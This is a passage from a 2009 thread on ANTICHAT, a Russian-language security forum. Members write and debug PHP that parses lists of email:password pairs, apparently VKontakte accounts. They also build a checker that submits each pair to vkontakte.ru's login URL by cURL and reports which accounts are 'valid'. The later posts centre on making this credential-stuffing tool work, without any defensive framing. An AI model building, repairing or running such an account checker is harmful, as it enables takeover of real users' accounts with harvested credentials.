ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

10.06.2009, 20:31
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Если сделать задачу на все случаи жизни, то регулярки правят миром
Не в этом случае.
|
|
|

10.06.2009, 20:35
|
|
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме: 1917742
Репутация:
541
|
|
вообщем вот мое решение, еси в файле акки лежат к примеру вот так:
user1@mail.ru  assword1 user2@mail.ru  assword2 user3@mail.ru  assword3 user4@mail.ru  assword4 user4@mail.ru  assword4
user4@mail.ru  assword4
user5@mail.ru  assword5
через пробел тоесть, то можно распарсить вот так:
PHP код:
<?php
$name = file_get_contents("c:/vk.txt");
$array = preg_split("/[ \\n]/", $name);
echo "<PRE>";
foreach ( $array as $value ) {
$acc = explode(":", $value);
echo $acc[0] ." - ". $acc[1] ."\n";
}
echo "</PRE>";
?>
регулярку ессно можно подкрутить под свое 
|
|
|

11.06.2009, 10:31
|
|
Познающий
Регистрация: 04.04.2009
Сообщений: 58
Провел на форуме: 687854
Репутация:
19
|
|
Итак, вот какой кусок кода по проверке валида аккаунта. Но не работает.. В чем косяк?
PHP код:
foreach(file($txt_file) as $account)
{
$data=explode(':',$account);
$link = "http://vkontakte.ru/login.php?op=a_login_attempt&email=".$data[0]."&pass=".$data[1]."&expire=0";
$res = go($link, $cookie);
$searchtext = 'good';
if(strpos($res, $searchtext) == false)
print "".$data[0]." and ".$data[1]." not valid";
else{
print "".$data[0]." and ".$data[1]." are valid";
}
}
|
|
|

11.06.2009, 10:49
|
|
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме: 3178262
Репутация:
389
|
|
Выложи функцию go и все зависимые ибо телепаты в отпуске
|
|
|

11.06.2009, 11:32
|
|
Познающий
Регистрация: 04.04.2009
Сообщений: 58
Провел на форуме: 687854
Репутация:
19
|
|
FireFenix, вот функция go, если еще что-то понадобится буду редактировать этот пост
PHP код:
function go($link, $data){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_GET, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
$otvet = curl_exec($ch);
curl_close($ch);
return $otvet;
}
И да, файлы в текстовике лежат так(каждый на новой строке):
mail1:moipass1
mail2:moipass2
mail3:moipass3
mail4:moipass4
Последний раз редактировалось Dark_Scorpicore; 11.06.2009 в 11:35..
|
|
|

11.06.2009, 14:38
|
|
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме: 1917742
Репутация:
541
|
|
капчу наверно выплевывает, или структура запроса изменилась...
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Процесс создания программного обеспечения для распределенных вычислений (С++).
|
c0n Difesa |
Авторские статьи |
9 |
09.06.2009 16:33 |
|
Assembler FAQ
|
GlobalRave |
С/С++, C#, Delphi, .NET, Asm |
2 |
15.02.2009 18:59 |
|
Конец строки
|
nc.STRIEM |
PHP, PERL, MySQL, JavaScript |
11 |
04.07.2006 00:44 |
|
конец строки
|
Mastermind |
PHP, PERL, MySQL, JavaScript |
15 |
18.08.2005 00:28 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|